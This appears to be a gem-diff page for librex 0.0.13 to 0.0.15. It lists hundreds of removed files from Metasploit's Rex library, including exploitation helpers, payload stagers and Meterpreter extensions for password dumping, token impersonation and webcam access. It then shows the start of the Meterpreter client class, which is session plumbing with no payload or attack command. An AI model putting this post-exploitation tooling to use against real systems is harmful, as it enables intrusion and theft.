librex 0.0.13 → 0.0.15

Sign up to get free protection for your applications and to get access to all the features.
Files changed (435) hide show
  1. data/README.markdown +1 -1
  2. data/Rakefile +1 -0
  3. metadata +3 -435
  4. data/lib/rex/LICENSE +0 -29
  5. data/lib/rex/arch.rb +0 -103
  6. data/lib/rex/arch/sparc.rb +0 -75
  7. data/lib/rex/arch/sparc.rb.ut.rb +0 -18
  8. data/lib/rex/arch/x86.rb +0 -513
  9. data/lib/rex/arch/x86.rb.ut.rb +0 -93
  10. data/lib/rex/assembly/nasm.rb +0 -104
  11. data/lib/rex/assembly/nasm.rb.ut.rb +0 -22
  12. data/lib/rex/codepage.map +0 -104
  13. data/lib/rex/compat.rb +0 -311
  14. data/lib/rex/constants.rb +0 -113
  15. data/lib/rex/elfparsey.rb +0 -11
  16. data/lib/rex/elfparsey/elf.rb +0 -123
  17. data/lib/rex/elfparsey/elfbase.rb +0 -258
  18. data/lib/rex/elfparsey/exceptions.rb +0 -27
  19. data/lib/rex/elfscan.rb +0 -12
  20. data/lib/rex/elfscan/scanner.rb +0 -207
  21. data/lib/rex/elfscan/search.rb +0 -46
  22. data/lib/rex/encoder/alpha2.rb +0 -31
  23. data/lib/rex/encoder/alpha2/alpha_mixed.rb +0 -68
  24. data/lib/rex/encoder/alpha2/alpha_upper.rb +0 -79
  25. data/lib/rex/encoder/alpha2/generic.rb +0 -114
  26. data/lib/rex/encoder/alpha2/unicode_mixed.rb +0 -117
  27. data/lib/rex/encoder/alpha2/unicode_upper.rb +0 -129
  28. data/lib/rex/encoder/ndr.rb +0 -89
  29. data/lib/rex/encoder/ndr.rb.ut.rb +0 -44
  30. data/lib/rex/encoder/nonalpha.rb +0 -61
  31. data/lib/rex/encoder/nonupper.rb +0 -64
  32. data/lib/rex/encoder/xdr.rb +0 -106
  33. data/lib/rex/encoder/xdr.rb.ut.rb +0 -29
  34. data/lib/rex/encoder/xor.rb +0 -69
  35. data/lib/rex/encoder/xor/dword.rb +0 -13
  36. data/lib/rex/encoder/xor/dword_additive.rb +0 -13
  37. data/lib/rex/encoders/xor_dword.rb +0 -35
  38. data/lib/rex/encoders/xor_dword_additive.rb +0 -53
  39. data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +0 -12
  40. data/lib/rex/encoding/xor.rb +0 -20
  41. data/lib/rex/encoding/xor.rb.ts.rb +0 -14
  42. data/lib/rex/encoding/xor/byte.rb +0 -15
  43. data/lib/rex/encoding/xor/byte.rb.ut.rb +0 -21
  44. data/lib/rex/encoding/xor/dword.rb +0 -21
  45. data/lib/rex/encoding/xor/dword.rb.ut.rb +0 -15
  46. data/lib/rex/encoding/xor/dword_additive.rb +0 -92
  47. data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +0 -15
  48. data/lib/rex/encoding/xor/exceptions.rb +0 -17
  49. data/lib/rex/encoding/xor/generic.rb +0 -146
  50. data/lib/rex/encoding/xor/generic.rb.ut.rb +0 -120
  51. data/lib/rex/encoding/xor/qword.rb +0 -15
  52. data/lib/rex/encoding/xor/word.rb +0 -21
  53. data/lib/rex/encoding/xor/word.rb.ut.rb +0 -13
  54. data/lib/rex/exceptions.rb +0 -275
  55. data/lib/rex/exceptions.rb.ut.rb +0 -44
  56. data/lib/rex/exploitation/cmdstager.rb +0 -9
  57. data/lib/rex/exploitation/cmdstager/base.rb +0 -175
  58. data/lib/rex/exploitation/cmdstager/debug_asm.rb +0 -142
  59. data/lib/rex/exploitation/cmdstager/debug_write.rb +0 -136
  60. data/lib/rex/exploitation/cmdstager/tftp.rb +0 -63
  61. data/lib/rex/exploitation/cmdstager/vbs.rb +0 -128
  62. data/lib/rex/exploitation/egghunter.rb +0 -277
  63. data/lib/rex/exploitation/egghunter.rb.ut.rb +0 -25
  64. data/lib/rex/exploitation/encryptjs.rb +0 -77
  65. data/lib/rex/exploitation/heaplib.js.b64 +0 -331
  66. data/lib/rex/exploitation/heaplib.rb +0 -94
  67. data/lib/rex/exploitation/javascriptosdetect.rb +0 -897
  68. data/lib/rex/exploitation/obfuscatejs.rb +0 -335
  69. data/lib/rex/exploitation/omelet.rb +0 -320
  70. data/lib/rex/exploitation/omelet.rb.ut.rb +0 -13
  71. data/lib/rex/exploitation/opcodedb.rb +0 -818
  72. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -279
  73. data/lib/rex/exploitation/seh.rb +0 -92
  74. data/lib/rex/exploitation/seh.rb.ut.rb +0 -19
  75. data/lib/rex/file.rb +0 -112
  76. data/lib/rex/file.rb.ut.rb +0 -16
  77. data/lib/rex/image_source.rb +0 -12
  78. data/lib/rex/image_source/disk.rb +0 -60
  79. data/lib/rex/image_source/image_source.rb +0 -46
  80. data/lib/rex/image_source/memory.rb +0 -37
  81. data/lib/rex/io/bidirectional_pipe.rb +0 -157
  82. data/lib/rex/io/datagram_abstraction.rb +0 -35
  83. data/lib/rex/io/stream.rb +0 -319
  84. data/lib/rex/io/stream_abstraction.rb +0 -197
  85. data/lib/rex/io/stream_server.rb +0 -211
  86. data/lib/rex/job_container.rb +0 -187
  87. data/lib/rex/logging.rb +0 -4
  88. data/lib/rex/logging/log_dispatcher.rb +0 -179
  89. data/lib/rex/logging/log_sink.rb +0 -42
  90. data/lib/rex/logging/sinks/flatfile.rb +0 -55
  91. data/lib/rex/logging/sinks/stderr.rb +0 -43
  92. data/lib/rex/machparsey.rb +0 -9
  93. data/lib/rex/machparsey/exceptions.rb +0 -34
  94. data/lib/rex/machparsey/mach.rb +0 -209
  95. data/lib/rex/machparsey/machbase.rb +0 -408
  96. data/lib/rex/machscan.rb +0 -9
  97. data/lib/rex/machscan/scanner.rb +0 -217
  98. data/lib/rex/mime.rb +0 -9
  99. data/lib/rex/mime/header.rb +0 -77
  100. data/lib/rex/mime/message.rb +0 -144
  101. data/lib/rex/mime/part.rb +0 -20
  102. data/lib/rex/nop/opty2.rb +0 -108
  103. data/lib/rex/nop/opty2.rb.ut.rb +0 -23
  104. data/lib/rex/nop/opty2_tables.rb +0 -300
  105. data/lib/rex/ole.rb +0 -205
  106. data/lib/rex/ole/clsid.rb +0 -47
  107. data/lib/rex/ole/difat.rb +0 -141
  108. data/lib/rex/ole/directory.rb +0 -231
  109. data/lib/rex/ole/direntry.rb +0 -240
  110. data/lib/rex/ole/docs/dependencies.txt +0 -8
  111. data/lib/rex/ole/docs/references.txt +0 -1
  112. data/lib/rex/ole/fat.rb +0 -99
  113. data/lib/rex/ole/header.rb +0 -204
  114. data/lib/rex/ole/minifat.rb +0 -77
  115. data/lib/rex/ole/propset.rb +0 -144
  116. data/lib/rex/ole/samples/create_ole.rb +0 -27
  117. data/lib/rex/ole/samples/dir.rb +0 -35
  118. data/lib/rex/ole/samples/dump_stream.rb +0 -34
  119. data/lib/rex/ole/samples/ole_info.rb +0 -23
  120. data/lib/rex/ole/storage.rb +0 -395
  121. data/lib/rex/ole/stream.rb +0 -53
  122. data/lib/rex/ole/substorage.rb +0 -49
  123. data/lib/rex/ole/util.rb +0 -157
  124. data/lib/rex/parser/arguments.rb +0 -97
  125. data/lib/rex/parser/arguments.rb.ut.rb +0 -67
  126. data/lib/rex/parser/ini.rb +0 -185
  127. data/lib/rex/parser/ini.rb.ut.rb +0 -29
  128. data/lib/rex/parser/ip360_aspl_xml.rb +0 -102
  129. data/lib/rex/parser/ip360_xml.rb +0 -93
  130. data/lib/rex/parser/nessus_xml.rb +0 -118
  131. data/lib/rex/parser/netsparker_xml.rb +0 -94
  132. data/lib/rex/parser/nexpose_xml.rb +0 -131
  133. data/lib/rex/parser/nmap_xml.rb +0 -121
  134. data/lib/rex/parser/retina_xml.rb +0 -109
  135. data/lib/rex/payloads.rb +0 -1
  136. data/lib/rex/payloads/win32.rb +0 -2
  137. data/lib/rex/payloads/win32/common.rb +0 -26
  138. data/lib/rex/payloads/win32/kernel.rb +0 -53
  139. data/lib/rex/payloads/win32/kernel/common.rb +0 -54
  140. data/lib/rex/payloads/win32/kernel/migration.rb +0 -12
  141. data/lib/rex/payloads/win32/kernel/recovery.rb +0 -50
  142. data/lib/rex/payloads/win32/kernel/stager.rb +0 -194
  143. data/lib/rex/peparsey.rb +0 -12
  144. data/lib/rex/peparsey/exceptions.rb +0 -32
  145. data/lib/rex/peparsey/pe.rb +0 -212
  146. data/lib/rex/peparsey/pe_memdump.rb +0 -63
  147. data/lib/rex/peparsey/pebase.rb +0 -1680
  148. data/lib/rex/peparsey/section.rb +0 -136
  149. data/lib/rex/pescan.rb +0 -13
  150. data/lib/rex/pescan/analyze.rb +0 -309
  151. data/lib/rex/pescan/scanner.rb +0 -206
  152. data/lib/rex/pescan/search.rb +0 -56
  153. data/lib/rex/platforms.rb +0 -1
  154. data/lib/rex/platforms/windows.rb +0 -51
  155. data/lib/rex/poly.rb +0 -132
  156. data/lib/rex/poly/block.rb +0 -477
  157. data/lib/rex/poly/register.rb +0 -100
  158. data/lib/rex/poly/register/x86.rb +0 -40
  159. data/lib/rex/post.rb +0 -8
  160. data/lib/rex/post/dir.rb +0 -51
  161. data/lib/rex/post/file.rb +0 -172
  162. data/lib/rex/post/file_stat.rb +0 -220
  163. data/lib/rex/post/gen.pl +0 -13
  164. data/lib/rex/post/io.rb +0 -182
  165. data/lib/rex/post/meterpreter.rb +0 -4
  166. data/lib/rex/post/meterpreter/channel.rb +0 -445
  167. data/lib/rex/post/meterpreter/channel_container.rb +0 -54
  168. data/lib/rex/post/meterpreter/channels/pool.rb +0 -160
  169. data/lib/rex/post/meterpreter/channels/pools/file.rb +0 -62
  170. data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +0 -103
  171. data/lib/rex/post/meterpreter/channels/stream.rb +0 -87
  172. data/lib/rex/post/meterpreter/client.rb +0 -364
  173. data/lib/rex/post/meterpreter/client_core.rb +0 -274
  174. data/lib/rex/post/meterpreter/dependencies.rb +0 -3
  175. data/lib/rex/post/meterpreter/extension.rb +0 -32
  176. data/lib/rex/post/meterpreter/extensions/espia/espia.rb +0 -58
  177. data/lib/rex/post/meterpreter/extensions/espia/tlv.rb +0 -16
  178. data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +0 -94
  179. data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb +0 -21
  180. data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +0 -57
  181. data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +0 -15
  182. data/lib/rex/post/meterpreter/extensions/priv/fs.rb +0 -118
  183. data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +0 -61
  184. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +0 -111
  185. data/lib/rex/post/meterpreter/extensions/priv/tlv.rb +0 -28
  186. data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +0 -101
  187. data/lib/rex/post/meterpreter/extensions/sniffer/tlv.rb +0 -26
  188. data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +0 -333
  189. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +0 -282
  190. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +0 -266
  191. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +0 -103
  192. data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +0 -48
  193. data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +0 -144
  194. data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +0 -73
  195. data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +0 -56
  196. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +0 -137
  197. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +0 -180
  198. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +0 -167
  199. data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +0 -208
  200. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -6
  201. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +0 -38106
  202. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -31
  203. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +0 -47
  204. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -36
  205. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +0 -1818
  206. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +0 -96
  207. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +0 -3848
  208. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +0 -26
  209. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +0 -153
  210. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +0 -21
  211. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +0 -3169
  212. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +0 -599
  213. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +0 -318
  214. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +0 -100
  215. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -42
  216. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +0 -148
  217. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -127
  218. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +0 -309
  219. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +0 -204
  220. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +0 -51
  221. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +0 -630
  222. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +0 -75
  223. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -103
  224. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +0 -149
  225. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +0 -97
  226. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +0 -192
  227. data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +0 -41
  228. data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +0 -61
  229. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +0 -370
  230. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +0 -129
  231. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +0 -55
  232. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +0 -336
  233. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +0 -141
  234. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +0 -279
  235. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +0 -193
  236. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +0 -102
  237. data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +0 -180
  238. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +0 -211
  239. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +0 -227
  240. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +0 -63
  241. data/lib/rex/post/meterpreter/inbound_packet_handler.rb +0 -30
  242. data/lib/rex/post/meterpreter/object_aliases.rb +0 -83
  243. data/lib/rex/post/meterpreter/packet.rb +0 -688
  244. data/lib/rex/post/meterpreter/packet_dispatcher.rb +0 -431
  245. data/lib/rex/post/meterpreter/packet_parser.rb +0 -94
  246. data/lib/rex/post/meterpreter/packet_response_waiter.rb +0 -83
  247. data/lib/rex/post/meterpreter/ui/console.rb +0 -137
  248. data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +0 -62
  249. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +0 -730
  250. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +0 -108
  251. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +0 -241
  252. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +0 -231
  253. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +0 -61
  254. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +0 -98
  255. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +0 -51
  256. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +0 -132
  257. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +0 -187
  258. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +0 -65
  259. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +0 -442
  260. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +0 -298
  261. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +0 -486
  262. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +0 -315
  263. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +0 -157
  264. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +0 -95
  265. data/lib/rex/post/permission.rb +0 -26
  266. data/lib/rex/post/process.rb +0 -57
  267. data/lib/rex/post/thread.rb +0 -57
  268. data/lib/rex/post/ui.rb +0 -52
  269. data/lib/rex/proto.rb +0 -13
  270. data/lib/rex/proto.rb.ts.rb +0 -8
  271. data/lib/rex/proto/dcerpc.rb +0 -6
  272. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -9
  273. data/lib/rex/proto/dcerpc/client.rb +0 -361
  274. data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -491
  275. data/lib/rex/proto/dcerpc/exceptions.rb +0 -150
  276. data/lib/rex/proto/dcerpc/handle.rb +0 -47
  277. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -85
  278. data/lib/rex/proto/dcerpc/ndr.rb +0 -72
  279. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -41
  280. data/lib/rex/proto/dcerpc/packet.rb +0 -253
  281. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -56
  282. data/lib/rex/proto/dcerpc/response.rb +0 -187
  283. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -15
  284. data/lib/rex/proto/dcerpc/uuid.rb +0 -84
  285. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -46
  286. data/lib/rex/proto/dhcp.rb +0 -7
  287. data/lib/rex/proto/dhcp/constants.rb +0 -33
  288. data/lib/rex/proto/dhcp/server.rb +0 -292
  289. data/lib/rex/proto/drda.rb +0 -5
  290. data/lib/rex/proto/drda.rb.ts.rb +0 -17
  291. data/lib/rex/proto/drda/constants.rb +0 -49
  292. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -23
  293. data/lib/rex/proto/drda/packet.rb +0 -252
  294. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -109
  295. data/lib/rex/proto/drda/utils.rb +0 -123
  296. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -84
  297. data/lib/rex/proto/http.rb +0 -5
  298. data/lib/rex/proto/http.rb.ts.rb +0 -12
  299. data/lib/rex/proto/http/client.rb +0 -821
  300. data/lib/rex/proto/http/client.rb.ut.rb +0 -95
  301. data/lib/rex/proto/http/handler.rb +0 -46
  302. data/lib/rex/proto/http/handler/erb.rb +0 -128
  303. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -21
  304. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
  305. data/lib/rex/proto/http/handler/proc.rb +0 -60
  306. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -24
  307. data/lib/rex/proto/http/header.rb +0 -161
  308. data/lib/rex/proto/http/header.rb.ut.rb +0 -46
  309. data/lib/rex/proto/http/packet.rb +0 -407
  310. data/lib/rex/proto/http/packet.rb.ut.rb +0 -165
  311. data/lib/rex/proto/http/request.rb +0 -356
  312. data/lib/rex/proto/http/request.rb.ut.rb +0 -214
  313. data/lib/rex/proto/http/response.rb +0 -90
  314. data/lib/rex/proto/http/response.rb.ut.rb +0 -149
  315. data/lib/rex/proto/http/server.rb +0 -369
  316. data/lib/rex/proto/http/server.rb.ut.rb +0 -79
  317. data/lib/rex/proto/ntlm.rb +0 -7
  318. data/lib/rex/proto/ntlm.rb.ut.rb +0 -177
  319. data/lib/rex/proto/ntlm/base.rb +0 -326
  320. data/lib/rex/proto/ntlm/constants.rb +0 -74
  321. data/lib/rex/proto/ntlm/crypt.rb +0 -415
  322. data/lib/rex/proto/ntlm/exceptions.rb +0 -9
  323. data/lib/rex/proto/ntlm/message.rb +0 -533
  324. data/lib/rex/proto/ntlm/utils.rb +0 -763
  325. data/lib/rex/proto/proxy/socks4a.rb +0 -440
  326. data/lib/rex/proto/rfb.rb +0 -19
  327. data/lib/rex/proto/rfb.rb.ut.rb +0 -37
  328. data/lib/rex/proto/rfb/cipher.rb +0 -84
  329. data/lib/rex/proto/rfb/client.rb +0 -207
  330. data/lib/rex/proto/rfb/constants.rb +0 -52
  331. data/lib/rex/proto/smb.rb +0 -7
  332. data/lib/rex/proto/smb.rb.ts.rb +0 -8
  333. data/lib/rex/proto/smb/client.rb +0 -1952
  334. data/lib/rex/proto/smb/client.rb.ut.rb +0 -223
  335. data/lib/rex/proto/smb/constants.rb +0 -1047
  336. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -18
  337. data/lib/rex/proto/smb/crypt.rb +0 -36
  338. data/lib/rex/proto/smb/evasions.rb +0 -66
  339. data/lib/rex/proto/smb/exceptions.rb +0 -858
  340. data/lib/rex/proto/smb/simpleclient.rb +0 -306
  341. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -128
  342. data/lib/rex/proto/smb/utils.rb +0 -103
  343. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -20
  344. data/lib/rex/proto/sunrpc.rb +0 -1
  345. data/lib/rex/proto/sunrpc/client.rb +0 -195
  346. data/lib/rex/proto/tftp.rb +0 -12
  347. data/lib/rex/proto/tftp/constants.rb +0 -39
  348. data/lib/rex/proto/tftp/server.rb +0 -497
  349. data/lib/rex/proto/tftp/server.rb.ut.rb +0 -28
  350. data/lib/rex/script.rb +0 -42
  351. data/lib/rex/script/base.rb +0 -59
  352. data/lib/rex/script/meterpreter.rb +0 -15
  353. data/lib/rex/script/shell.rb +0 -9
  354. data/lib/rex/service.rb +0 -48
  355. data/lib/rex/service_manager.rb +0 -141
  356. data/lib/rex/service_manager.rb.ut.rb +0 -32
  357. data/lib/rex/services/local_relay.rb +0 -423
  358. data/lib/rex/socket.rb +0 -684
  359. data/lib/rex/socket.rb.ut.rb +0 -107
  360. data/lib/rex/socket/comm.rb +0 -119
  361. data/lib/rex/socket/comm/local.rb +0 -412
  362. data/lib/rex/socket/comm/local.rb.ut.rb +0 -75
  363. data/lib/rex/socket/ip.rb +0 -130
  364. data/lib/rex/socket/parameters.rb +0 -345
  365. data/lib/rex/socket/parameters.rb.ut.rb +0 -51
  366. data/lib/rex/socket/range_walker.rb +0 -346
  367. data/lib/rex/socket/range_walker.rb.ut.rb +0 -55
  368. data/lib/rex/socket/ssl_tcp.rb +0 -184
  369. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -39
  370. data/lib/rex/socket/ssl_tcp_server.rb +0 -122
  371. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -61
  372. data/lib/rex/socket/subnet_walker.rb +0 -75
  373. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -28
  374. data/lib/rex/socket/switch_board.rb +0 -278
  375. data/lib/rex/socket/switch_board.rb.ut.rb +0 -52
  376. data/lib/rex/socket/tcp.rb +0 -76
  377. data/lib/rex/socket/tcp.rb.ut.rb +0 -64
  378. data/lib/rex/socket/tcp_server.rb +0 -67
  379. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -44
  380. data/lib/rex/socket/udp.rb +0 -164
  381. data/lib/rex/socket/udp.rb.ut.rb +0 -44
  382. data/lib/rex/struct2.rb +0 -5
  383. data/lib/rex/struct2/c_struct.rb +0 -181
  384. data/lib/rex/struct2/c_struct_template.rb +0 -39
  385. data/lib/rex/struct2/constant.rb +0 -26
  386. data/lib/rex/struct2/element.rb +0 -44
  387. data/lib/rex/struct2/generic.rb +0 -73
  388. data/lib/rex/struct2/restraint.rb +0 -54
  389. data/lib/rex/struct2/s_string.rb +0 -72
  390. data/lib/rex/struct2/s_struct.rb +0 -111
  391. data/lib/rex/sync.rb +0 -6
  392. data/lib/rex/sync/event.rb +0 -94
  393. data/lib/rex/sync/read_write_lock.rb +0 -176
  394. data/lib/rex/sync/ref.rb +0 -57
  395. data/lib/rex/sync/thread_safe.rb +0 -82
  396. data/lib/rex/test.rb +0 -35
  397. data/lib/rex/text.rb +0 -1149
  398. data/lib/rex/text.rb.ut.rb +0 -190
  399. data/lib/rex/thread_factory.rb +0 -42
  400. data/lib/rex/time.rb +0 -65
  401. data/lib/rex/transformer.rb +0 -115
  402. data/lib/rex/transformer.rb.ut.rb +0 -38
  403. data/lib/rex/ui.rb +0 -21
  404. data/lib/rex/ui/interactive.rb +0 -254
  405. data/lib/rex/ui/output.rb +0 -78
  406. data/lib/rex/ui/output/none.rb +0 -18
  407. data/lib/rex/ui/progress_tracker.rb +0 -96
  408. data/lib/rex/ui/subscriber.rb +0 -149
  409. data/lib/rex/ui/text/color.rb +0 -97
  410. data/lib/rex/ui/text/color.rb.ut.rb +0 -18
  411. data/lib/rex/ui/text/dispatcher_shell.rb +0 -467
  412. data/lib/rex/ui/text/input.rb +0 -117
  413. data/lib/rex/ui/text/input/buffer.rb +0 -75
  414. data/lib/rex/ui/text/input/readline.rb +0 -129
  415. data/lib/rex/ui/text/input/socket.rb +0 -95
  416. data/lib/rex/ui/text/input/stdio.rb +0 -45
  417. data/lib/rex/ui/text/irb_shell.rb +0 -57
  418. data/lib/rex/ui/text/output.rb +0 -80
  419. data/lib/rex/ui/text/output/buffer.rb +0 -61
  420. data/lib/rex/ui/text/output/file.rb +0 -43
  421. data/lib/rex/ui/text/output/socket.rb +0 -43
  422. data/lib/rex/ui/text/output/stdio.rb +0 -40
  423. data/lib/rex/ui/text/progress_tracker.rb +0 -56
  424. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -34
  425. data/lib/rex/ui/text/shell.rb +0 -328
  426. data/lib/rex/ui/text/table.rb +0 -279
  427. data/lib/rex/ui/text/table.rb.ut.rb +0 -55
  428. data/lib/rex/zip.rb +0 -93
  429. data/lib/rex/zip/archive.rb +0 -184
  430. data/lib/rex/zip/blocks.rb +0 -182
  431. data/lib/rex/zip/entry.rb +0 -104
  432. data/lib/rex/zip/samples/comment.rb +0 -32
  433. data/lib/rex/zip/samples/mkwar.rb +0 -138
  434. data/lib/rex/zip/samples/mkzip.rb +0 -19
  435. data/lib/rex/zip/samples/recursive.rb +0 -58
@@ -1,364 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- require 'socket'
4
- require 'openssl'
5
-
6
- require 'rex/script'
7
- require 'rex/post/meterpreter/client_core'
8
- require 'rex/post/meterpreter/channel'
9
- require 'rex/post/meterpreter/channel_container'
10
- require 'rex/post/meterpreter/dependencies'
11
- require 'rex/post/meterpreter/object_aliases'
12
- require 'rex/post/meterpreter/packet'
13
- require 'rex/post/meterpreter/packet_parser'
14
- require 'rex/post/meterpreter/packet_dispatcher'
15
-
16
- module Rex
17
- module Post
18
- module Meterpreter
19
-
20
- #
21
- # Just to get it in there...
22
- #
23
- module Extensions
24
- end
25
-
26
- ###
27
- #
28
- # This class represents a logical meterpreter client class. This class
29
- # provides an interface that is compatible with the Rex post-exploitation
30
- # interface in terms of the feature set that it attempts to expose. This
31
- # class is meant to drive a single meterpreter client session.
32
- #
33
- ###
34
- class Client
35
-
36
- include Rex::Post::Meterpreter::PacketDispatcher
37
- include Rex::Post::Meterpreter::ChannelContainer
38
-
39
- #
40
- # Extension name to class hash.
41
- #
42
- @@ext_hash = {}
43
-
44
- #
45
- # Cached SSL certificate (required to scale)
46
- #
47
- @@ssl_ctx = nil
48
-
49
- #
50
- # Mutex to synchronize class-wide operations
51
- #
52
- @@ssl_mutex = ::Mutex.new
53
-
54
- #
55
- # Lookup the error that occurred
56
- #
57
- def self.lookup_error(code)
58
- code
59
- end
60
-
61
- #
62
- # Checks the extension hash to see if a class has already been associated
63
- # with the supplied extension name.
64
- #
65
- def self.check_ext_hash(name)
66
- @@ext_hash[name]
67
- end
68
-
69
- #
70
- # Stores the name to class association for the supplied extension name.
71
- #
72
- def self.set_ext_hash(name, klass)
73
- @@ext_hash[name] = klass
74
- end
75
-
76
- #
77
- # Initializes the client context with the supplied socket through
78
- # which communication with the server will be performed.
79
- #
80
- def initialize(sock,opts={})
81
- init_meterpreter(sock, opts)
82
- end
83
-
84
- #
85
- # Cleans up the meterpreter instance, terminating the dispatcher thread.
86
- #
87
- def cleanup_meterpreter
88
- ext.aliases.each_value do | extension |
89
- extension.cleanup if extension.respond_to?( 'cleanup' )
90
- end
91
- dispatcher_thread.kill if dispatcher_thread
92
- end
93
-
94
- #
95
- # Initializes the meterpreter client instance
96
